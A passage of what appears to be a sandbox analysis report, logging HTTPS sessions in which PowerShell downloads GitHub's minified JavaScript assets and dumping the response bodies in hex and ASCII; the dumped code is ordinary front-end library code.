6c 75 65 22 29 7d 2c 54 45 58 54 41 52 45 41 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 Data Ascii: ","selected"),e.removeAttribute("selected")),n.selectedIndex=-1)}u(e,t,"selected")},INPUT:function(e,t){u(e,t,"checked"),u(e,t,"disabled"),e.value!==t.value&&(e.value=t.value),t.hasAttribute("value")\|\|e.removeAttribute("value")},TEXTAREA:function(e,t){var
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 3d 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 76 61 72 20 75 2c 70 2c 6d 2c 68 2c 76 2c 62 2c 4e 2c 41 2c 54 3d 74 3b 28 74 3d 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 68 74 6d 6c 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 54 7d 65 6c 73 65 20 75 3d 28 75 3d 74 29 2e 74 72 69 6d 28 29 2c 74 3d 6f 3f 28 70 3d 75 2c 28 6d 3d 61 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 74 65 6d 70 6c 61 74 65 22 29 29 2e 69 6e 6e 65 72 48 54 4d 4c 3d 70 2c 6d 2e 63 6f 6e 74 65 6e 74 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 30 5d 29 3a 64 3f 28 68 3d 75 2c 69 7c 7c 28 69 3d 61 2e 63 72 65 61 74 65 52 61 6e 67 65 28 29 29 2e 73 65 6c 65 63 74 4e 6f 64 65 28 61 2e 62 6f 64 79 29 2c 69 2e 63 72 65 61 74 65 43 6f 6e 74 65 78 74 75 61 6c 46 72 61 67 6d 65 6e 74 28 68 29 2e 63 Data Ascii: =e.nodeName){var u,p,m,h,v,b,N,A,T=t;(t=a.createElement("html")).innerHTML=T}else u=(u=t).trim(),t=o?(p=u,(m=a.createElement("template")).innerHTML=p,m.content.childNodes[0]):d?(h=u,i\|\|(i=a.createRange()).selectNode(a.body),i.createContextualFragment(h).c
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 74 2c 6e 2c 69 29 7b 76 61 72 20 6f 3d 67 28 6e 29 3b 6f 26 26 64 65 6c 65 74 65 20 52 5b 6f 5d 2c 28 69 7c 7c 21 31 21 3d 3d 79 28 74 2c 6e 29 26 26 28 72 28 74 2c 6e 29 2c 45 28 74 29 2c 21 31 21 3d 3d 77 28 74 2c 6e 29 29 29 26 26 28 22 54 45 58 54 41 52 45 41 22 21 3d 3d 74 2e 6e 6f 64 65 4e 61 6d 65 3f 66 75 6e 63 74 69 6f 6e 28 74 2c 6e 29 7b 76 61 72 20 69 2c 72 2c 6f 2c 64 2c 75 2c 66 3d 6e 2e 66 69 72 73 74 43 68 69 6c 64 2c 73 3d 74 2e 66 69 72 73 74 43 68 69 6c 64 3b 65 3a 66 6f 72 28 3b 66 3b 29 7b 66 6f 72 28 64 3d 66 2e 6e 65 78 74 53 69 62 6c 69 6e 67 2c 69 3d 67 28 66 29 3b 73 3b 29 7b 69 66 28 6f 3d 73 2e 6e 65 78 74 53 69 62 6c 69 6e 67 2c 66 2e 69 73 53 61 6d 65 4e 6f 64 65 26 26 66 2e 69 73 53 61 6d 65 4e 6f 64 65 28 73 29 29 7b 66 3d Data Ascii: t,n,i){var o=g(n);o&&delete R[o],(i\|\|!1!==y(t,n)&&(r(t,n),E(t),!1!==w(t,n)))&&("TEXTAREA"!==t.nodeName?function(t,n){var i,r,o,d,u,f=n.firstChild,s=t.firstChild;e:for(;f;){for(d=f.nextSibling,i=g(f);s;){if(o=s.nextSibling,f.isSameNode&&f.isSameNode(s)){f=
2024-09-30 13:50:24 UTC	329	IN	Data Raw: 6e 63 74 69 6f 6e 28 2e 2e 2e 74 29 7b 6c 65 74 20 69 3d 6e 2e 61 70 70 6c 79 28 74 68 69 73 2c 74 29 3b 69 66 28 72 2e 68 61 73 28 69 29 29 72 65 74 75 72 6e 20 72 2e 67 65 74 28 69 29 3b 6c 65 74 20 61 3d 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 74 29 3b 72 65 74 75 72 6e 20 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 61 3d 61 2e 63 61 74 63 68 28 65 3d 3e 7b 74 68 72 6f 77 20 72 2e 64 65 6c 65 74 65 28 69 29 2c 65 7d 29 29 2c 72 2e 73 65 74 28 69 2c 61 29 2c 61 7d 7d 6e 2e 64 28 74 2c 7b 41 3a 28 29 3d 3e 72 7d 29 7d 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 6d 69 6e 69 2d 74 68 72 6f 74 74 6c 65 5f 64 69 73 74 Data Ascii: nction(...t){let i=n.apply(this,t);if(r.has(i))return r.get(i);let a=e.apply(this,t);return a instanceof Promise&&(a=a.catch(e=>{throw r.delete(i),e})),r.set(i,a),a}}n.d(t,{A:()=>r})}}]);//# sourceMappingURL=vendors-node_modules_github_mini-throttle_dist

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49751	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:24 UTC	450	OUT	GET /assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-6cf3320416b8.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:24 UTC	695	IN	HTTP/1.1 200 OK Connection: close Content-Length: 9920 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:13 GMT ETag: "0x8DCB7D5A12F3F7D" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2961507 Date: Mon, 30 Sep 2024 13:50:24 GMT X-Served-By: cache-iad-kcgs7200153-IAD, cache-ewr-kewr1740054-EWR X-Cache: HIT, HIT X-Cache-Hits: 594, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: c272447c2530a5c1cb59218f38c81ab49d66091c
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 2d 38 39 33 66 39 66 22 5d 2c 7b 31 33 39 33 37 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6c 65 74 20 72 3b 6e 2e 64 28 74 2c 7b 41 78 3a 28 29 3d 3e 75 2c 4a 57 3a 28 29 3d 3e 63 2c 5a 56 3a 28 29 3d 3e 61 7d 29 3b 6c 65 74 20 45 72 72 6f 72 57 69 74 68 52 65 73 70 6f Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f"],{13937:(e,t,n)=>{let r;n.d(t,{Ax:()=>u,JW:()=>c,ZV:()=>a});let ErrorWithRespo
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 65 20 74 2e 73 75 62 6d 69 74 28 29 7d 2c 65 3d 3e 7b 74 2e 73 75 62 6d 69 74 28 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 74 68 72 6f 77 20 65 7d 29 7d 29 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 2c 6e 2c 72 29 7b 6c 65 74 20 6f 3d 21 31 3b 66 6f 72 28 6c 65 74 20 73 20 6f 66 20 65 29 7b 6c 65 74 5b 65 2c 61 5d 3d 69 28 29 2c 75 3d 28 29 3d 3e 28 6f 3d 21 30 2c 61 28 29 2c 72 29 2c 63 3d 7b 74 65 78 74 3a 75 2c 6a 73 6f 6e 3a 28 29 3d 3e 28 6e 2e 68 65 61 64 65 72 73 2e 73 65 74 28 22 41 63 63 65 70 74 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 22 29 2c 75 28 29 29 2c 68 74 6d 6c 3a 28 29 3d 3e 28 6e 2e 68 65 61 64 65 72 73 2e 73 65 74 28 22 41 63 63 65 70 74 22 2c 22 74 65 78 74 2f 68 74 6d 6c 22 29 2c 75 Data Ascii: e t.submit()},e=>{t.submit(),setTimeout(()=>{throw e})})}async function d(e,t,n,r){let o=!1;for(let s of e){let[e,a]=i(),u=()=>(o=!0,a(),r),c={text:u,json:()=>(n.headers.set("Accept","application/json"),u()),html:()=>(n.headers.set("Accept","text/html"),u
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 6c 28 65 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 3d 5b 5d 3b 76 61 72 20 61 3d 2f 5e 23 28 28 3f 3a 5b 5c 77 5c 75 30 30 63 30 2d 5c 75 46 46 46 46 5c 2d 5d 7c 5c 5c 2e 29 2b 29 2f 67 3b 72 2e 70 72 6f 74 6f 74 79 70 65 2e 69 6e 64 65 78 65 73 2e 70 75 73 68 28 7b 6e 61 6d 65 3a 22 49 44 22 2c 73 65 6c 65 63 74 6f 72 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 69 66 28 74 3d 65 2e 6d 61 74 63 68 28 61 29 29 72 65 74 75 72 6e 20 74 5b 30 5d 2e 73 6c 69 63 65 28 31 29 7d 2c 65 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 2e 69 64 29 72 65 74 75 72 6e 5b 65 2e 69 64 5d 7d 7d 29 3b 76 61 72 20 75 3d 2f 5e 5c 2e 28 28 3f 3a 5b 5c 77 5c 75 30 30 63 30 2d 5c 75 46 46 46 46 5c 2d 5d 7c 5c 5c 2e 29 2b Data Ascii: l(e)},r.prototype.indexes=[];var a=/^#((?:[\w\u00c0-\uFFFF\-]\|\\.)+)/g;r.prototype.indexes.push({name:"ID",selector:function(e){var t;if(t=e.match(a))return t[0].slice(1)},element:function(e){if(e.id)return[e.id]}});var u=/^\.((?:[\w\u00c0-\uFFFF\-]\|\\.)+
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 6e 64 65 78 3d 3d 3d 61 26 26 64 5b 72 5d 2e 6b 65 79 3d 3d 3d 73 29 7b 6f 3d 21 30 3b 62 72 65 61 6b 7d 6f 7c 7c 64 2e 70 75 73 68 28 7b 69 6e 64 65 78 3a 61 2c 6b 65 79 3a 73 7d 29 3b 62 72 65 61 6b 7d 7d 77 68 69 6c 65 28 69 29 72 65 74 75 72 6e 20 64 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 2e 69 64 2d 74 2e 69 64 7d 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6c 6f 67 44 65 66 61 75 6c 74 49 6e 64 65 78 55 73 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 2c 6f 2c 73 2c 61 2c 75 2c 63 2c 6c 2c 66 3d 74 68 69 73 2e 61 63 74 69 76 65 49 6e 64 65 78 65 73 2c 68 3d 74 68 69 73 2e 73 65 6c 65 63 74 6f 72 73 2c 70 3d 74 Data Ascii: ndex===a&&d[r].key===s){o=!0;break}o\|\|d.push({index:a,key:s});break}}while(i)return d}function f(e,t){return e.id-t.id}r.prototype.logDefaultIndexUsed=function(){},r.prototype.add=function(e,t){var n,r,o,s,a,u,c,l,f=this.activeIndexes,h=this.selectors,p=t
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 29 2e 69 64 5d 3f 61 3d 63 5b 75 2e 69 64 5d 3a 28 61 3d 7b 69 64 3a 75 2e 69 64 2c 73 65 6c 65 63 74 6f 72 3a 75 2e 73 65 6c 65 63 74 6f 72 2c 64 61 74 61 3a 75 2e 64 61 74 61 2c 65 6c 65 6d 65 6e 74 73 3a 5b 5d 7d 2c 63 5b 75 2e 69 64 5d 3d 61 2c 6c 2e 70 75 73 68 28 61 29 29 2c 61 2e 65 6c 65 6d 65 6e 74 73 2e 70 75 73 68 28 6f 29 3b 72 65 74 75 72 6e 20 6c 2e 73 6f 72 74 28 66 29 7d 2c 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6d 61 74 63 68 65 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 74 2c 6e 2c 72 2c 69 2c 6f 2c 73 2c 61 2c 75 2c 63 2c 6c 2c 64 2c 68 3d 74 68 69 73 2e 61 63 74 69 76 65 49 6e 64 65 78 65 73 2c 70 3d 7b 7d 2c 6d 3d 5b 5d 3b 66 6f 72 28 74 3d 30 2c 69 3d 68 2e 6c 65 6e 67 74 68 3b 74 Data Ascii: ).id]?a=c[u.id]:(a={id:u.id,selector:u.selector,data:u.data,elements:[]},c[u.id]=a,l.push(a)),a.elements.push(o);return l.sort(f)},r.prototype.matches=function(e){if(!e)return[];var t,n,r,i,o,s,a,u,c,l,d,h=this.activeIndexes,p={},m=[];for(t=0,i=h.length;t
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 3b 66 6f 72 28 76 61 72 20 73 3d 30 2c 61 3d 6f 2e 6f 62 73 65 72 76 65 72 73 2e 6c 65 6e 67 74 68 3b 73 3c 61 26 26 21 67 2e 67 65 74 28 65 29 3b 73 2b 2b 29 6f 2e 6f 62 73 65 72 76 65 72 73 5b 73 5d 2e 64 61 74 61 2e 63 61 6c 6c 28 6f 2e 6e 6f 64 65 2c 65 29 7d 76 2e 64 65 6c 65 74 65 28 65 29 2c 53 28 65 29 7d 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 6b 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 33 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 33 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 33 5d 3a 7b 7d 2c 6f 3d 21 21 69 2e 63 61 70 74 75 72 65 2c 73 3d 6f 3f 70 3a 68 2c 61 3d 73 5b 65 5d 3b 61 7c 7c 28 61 3d 6e 65 77 20 72 2c 73 5b 65 5d 3d 61 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 Data Ascii: ;for(var s=0,a=o.observers.length;s<a&&!g.get(e);s++)o.observers[s].data.call(o.node,e)}v.delete(e),S(e)}}}}function k(e,t,n){var i=arguments.length>3&&void 0!==arguments[3]?arguments[3]:{},o=!!i.capture,s=o?p:h,a=s[e];a\|\|(a=new r,s[e]=a,document.addEvent
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 72 65 74 75 72 6e 20 72 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 72 65 74 75 72 6e 7b 72 65 71 75 69 72 65 64 3a 21 30 2c 73 63 68 65 6d 61 3a 65 2c 64 65 72 69 76 65 3a 74 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 28 65 29 7b 72 65 74 75 72 6e 7b 72 65 71 75 69 72 65 64 3a 21 30 2c 73 63 68 65 6d 61 3a 65 7d 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 72 65 74 75 72 6e 7b 72 65 71 75 69 72 65 64 3a 21 31 2c 73 63 68 65 6d 61 3a 65 7d 7d 76 61 72 20 64 3d 7b 74 79 70 65 3a 63 28 6f 29 2c 69 64 3a 63 28 73 29 2c 74 72 61 6e 73 70 6f 72 74 73 3a 6c 28 6f 29 7d 2c 66 3d 7b 61 70 70 69 64 3a 6c 28 6f 29 2c 61 70 70 69 64 45 78 63 6c 75 64 65 3a 6c 28 6f 29 2c 63 72 65 64 50 72 6f 70 73 3a 6c 28 6f 29 7d 2c 68 3d 7b 61 70 70 69 64 3a 6c 28 6f 29 2c 61 Data Ascii: return r}}function u(e,t){return{required:!0,schema:e,derive:t}}function c(e){return{required:!0,schema:e}}function l(e){return{required:!1,schema:e}}var d={type:c(o),id:c(s),transports:l(o)},f={appid:l(o),appidExclude:l(o),credProps:l(o)},h={appid:l(o),a
2024-09-30 13:50:24 UTC	274	IN	Data Raw: 28 65 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 4a 53 4f 4e 3d 28 29 3d 3e 61 28 69 2c 6d 2c 74 29 2c 74 7d 61 73 79 6e 63 20 66 75 6e 63 74 69 6f 6e 20 45 28 65 29 7b 6c 65 74 20 74 3d 61 77 61 69 74 20 6e 61 76 69 67 61 74 6f 72 2e 63 72 65 64 65 6e 74 69 61 6c 73 2e 67 65 74 28 65 29 3b 72 65 74 75 72 6e 20 74 2e 74 6f 4a 53 4f 4e 3d 28 29 3d 3e 61 28 69 2c 76 2c 74 29 2c 74 7d 7d 7d 5d 29 3b 0a 2f 2f 23 20 73 6f 75 72 63 65 4d 61 70 70 69 6e 67 55 52 4c 3d 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 72 65 6d 6f 74 65 2d 66 6f 72 6d 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 64 65 6c 65 67 61 74 65 64 2d 65 76 65 6e 74 73 5f 64 69 73 74 5f 69 6e 64 65 2d 38 39 33 66 39 66 2d Data Ascii: (e);return t.toJSON=()=>a(i,m,t),t}async function E(e){let t=await navigator.credentials.get(e);return t.toJSON=()=>a(i,v,t),t}}}]);//# sourceMappingURL=vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-893f9f-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49750	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:24 UTC	408	OUT	GET /assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-858e043fcf76.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:24 UTC	696	IN	HTTP/1.1 200 OK Connection: close Content-Length: 77302 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Thu, 08 Aug 2024 18:12:14 GMT ETag: "0x8DCB7D5A13B8DA9" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2943954 Date: Mon, 30 Sep 2024 13:50:24 GMT X-Served-By: cache-iad-kjyo7100041-IAD, cache-ewr-kewr1740021-EWR X-Cache: HIT, HIT X-Cache-Hits: 677, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 7774ad018666365cafdcc33e4711908e2241cfab
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 74 75 72 62 6f 5f 64 69 73 74 5f 74 75 72 62 6f 5f 65 73 32 30 31 37 2d 65 73 6d 5f 6a 73 22 5d 2c 7b 37 33 33 32 3a 28 65 2c 74 2c 73 29 3d 3e 7b 73 2e 64 28 74 2c 7b 48 35 3a 28 29 3d 3e 50 61 67 65 52 65 6e 64 65 72 65 72 2c 55 7a 3a 28 29 3d 3e 44 2c 59 52 3a 28 29 3d 3e 4f 2c 64 4b 3a 28 29 3d 3e 6f 2c 67 4d 3a 28 29 3d 3e 71 2c 73 65 73 73 69 6f 6e 3a 28 29 3d 3e 4d 7d 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 76 6f 69 64 20 30 3d 3d 3d 77 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js"],{7332:(e,t,s)=>{s.d(t,{H5:()=>PageRenderer,Uz:()=>D,YR:()=>O,dK:()=>o,gM:()=>q,session:()=>M}),function(){if(void 0===w
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 76 6f 69 64 20 30 3a 73 2e 74 79 70 65 29 3d 3d 22 73 75 62 6d 69 74 22 3f 73 3a 6e 75 6c 6c 7d 28 65 2e 74 61 72 67 65 74 29 3b 74 26 26 74 2e 66 6f 72 6d 26 26 69 2e 73 65 74 28 74 2e 66 6f 72 6d 2c 74 29 7d 21 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3b 69 66 28 21 28 22 73 75 62 6d 69 74 74 65 72 22 69 6e 20 45 76 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 29 29 7b 69 66 28 22 53 75 62 6d 69 74 45 76 65 6e 74 22 69 6e 20 77 69 6e 64 6f 77 26 26 2f 41 70 70 6c 65 20 43 6f 6d 70 75 74 65 72 2f 2e 74 65 73 74 28 6e 61 76 69 67 61 74 6f 72 2e 76 65 6e 64 6f 72 29 29 65 3d 77 69 6e 64 6f 77 2e 53 75 62 6d 69 74 45 76 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 3b 65 6c 73 65 7b 69 66 28 22 53 75 62 6d 69 74 45 76 65 6e 74 22 69 6e 20 77 69 6e 64 6f 77 29 72 Data Ascii: void 0:s.type)=="submit"?s:null}(e.target);t&&t.form&&i.set(t.form,t)}!function(){let e;if(!("submitter"in Event.prototype)){if("SubmitEvent"in window&&/Apple Computer/.test(navigator.vendor))e=window.SubmitEvent.prototype;else{if("SubmitEvent"in window)r
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 65 29 7d 65 6c 73 65 20 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 7d 67 65 74 20 6c 6f 61 64 69 6e 67 28 29 7b 72 65 74 75 72 6e 22 6c 61 7a 79 22 3d 3d 3d 28 74 68 69 73 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 6f 61 64 69 6e 67 22 29 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3f 55 2e 6c 61 7a 79 3a 55 2e 65 61 67 65 72 7d 73 65 74 20 6c 6f 61 64 69 6e 67 28 65 29 7b 65 3f 74 68 69 73 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 6c 6f 61 64 69 6e 67 22 2c 65 29 3a 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 6c 6f 61 64 69 6e 67 22 29 7d 67 65 74 20 64 69 73 61 62 6c 65 64 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 68 61 73 Data Ascii: Attribute("src",e)}else this.removeAttribute("src")}get loading(){return"lazy"===(this.getAttribute("loading")\|\|"").toLowerCase()?U.lazy:U.eager}set loading(e){e?this.setAttribute("loading",e):this.removeAttribute("loading")}get disabled(){return this.has
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 30 30 26 26 74 68 69 73 2e 73 74 61 74 75 73 43 6f 64 65 3c 3d 35 39 39 7d 67 65 74 20 72 65 64 69 72 65 63 74 65 64 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 2e 72 65 64 69 72 65 63 74 65 64 7d 67 65 74 20 6c 6f 63 61 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 6c 28 74 68 69 73 2e 72 65 73 70 6f 6e 73 65 2e 75 72 6c 29 7d 67 65 74 20 69 73 48 54 4d 4c 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 6f 6e 74 65 6e 74 54 79 70 65 26 26 74 68 69 73 2e 63 6f 6e 74 65 6e 74 54 79 70 65 2e 6d 61 74 63 68 28 2f 5e 28 3f 3a 74 65 78 74 5c 2f 28 5b 5e 5c 73 3b 2c 5d 2b 5c 62 29 3f 68 74 6d 6c 7c 61 70 70 6c 69 63 61 74 69 6f 6e 5c 2f 78 68 74 6d 6c 5c 2b 78 6d 6c 29 5c 62 2f 29 7d 67 65 74 20 73 74 61 74 75 73 43 6f 64 65 28 29 7b 72 65 Data Ascii: 00&&this.statusCode<=599}get redirected(){return this.response.redirected}get location(){return l(this.response.url)}get isHTML(){return this.contentType&&this.contentType.match(/^(?:text\/([^\s;,]+\b)?html\|application\/xhtml\+xml)\b/)}get statusCode(){re
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 65 28 28 65 2c 73 2c 69 29 3d 3e 65 2b 73 2b 28 76 6f 69 64 20 30 3d 3d 74 5b 69 5d 3f 22 22 3a 74 5b 69 5d 29 2c 22 22 29 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 6e 2f 2c 22 22 29 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 69 3d 73 5b 30 5d 2e 6d 61 74 63 68 28 2f 5e 5c 73 2b 2f 29 2c 72 3d 69 3f 69 5b 30 5d 2e 6c 65 6e 67 74 68 3a 30 3b 72 65 74 75 72 6e 20 73 2e 6d 61 70 28 65 3d 3e 65 2e 73 6c 69 63 65 28 72 29 29 2e 6a 6f 69 6e 28 22 5c 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 72 65 74 75 72 6e 20 41 72 72 61 79 2e 66 72 6f 6d 28 7b 6c 65 6e 67 74 68 3a 33 36 7d 29 2e 6d 61 70 28 28 65 2c 74 29 3d 3e 38 3d 3d 74 7c 7c 31 33 3d 3d 74 7c 7c 31 38 3d 3d 74 7c 7c 32 33 3d 3d 74 3f 22 2d 22 3a 31 34 3d 3d 74 3f 22 34 22 3a 31 39 3d 3d 74 3f 28 4d 61 74 Data Ascii: e((e,s,i)=>e+s+(void 0==t[i]?"":t[i]),"").replace(/^\n/,"").split("\n"),i=s[0].match(/^\s+/),r=i?i[0].length:0;return s.map(e=>e.slice(r)).join("\n")}function b(){return Array.from({length:36}).map((e,t)=>8==t\|\|13==t\|\|18==t\|\|23==t?"-":14==t?"4":19==t?(Mat
2024-09-30 13:50:24 UTC	1378	IN	Data Raw: 63 68 50 61 72 61 6d 73 7d 67 65 74 20 65 6e 74 72 69 65 73 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 62 6f 64 79 3f 41 72 72 61 79 2e 66 72 6f 6d 28 74 68 69 73 2e 62 6f 64 79 2e 65 6e 74 72 69 65 73 28 29 29 3a 5b 5d 7d 63 61 6e 63 65 6c 28 29 7b 74 68 69 73 2e 61 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 2e 61 62 6f 72 74 28 29 7d 61 73 79 6e 63 20 70 65 72 66 6f 72 6d 28 29 7b 76 61 72 20 65 2c 74 3b 6c 65 74 7b 66 65 74 63 68 4f 70 74 69 6f 6e 73 3a 73 7d 3d 74 68 69 73 3b 6e 75 6c 6c 3d 3d 3d 28 74 3d 28 65 3d 74 68 69 73 2e 64 65 6c 65 67 61 74 65 29 2e 70 72 65 70 61 72 65 48 65 61 64 65 72 73 46 6f 72 52 65 71 75 65 73 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 2e 63 61 6c 6c 28 65 2c 74 68 69 73 2e 68 65 61 64 65 72 73 2c 74 68 69 73 Data Ascii: chParams}get entries(){return this.body?Array.from(this.body.entries()):[]}cancel(){this.abortController.abort()}async perform(){var e,t;let{fetchOptions:s}=this;null===(t=(e=this.delegate).prepareHeadersForRequest)\|\|void 0===t\|\|t.call(e,this.headers,this
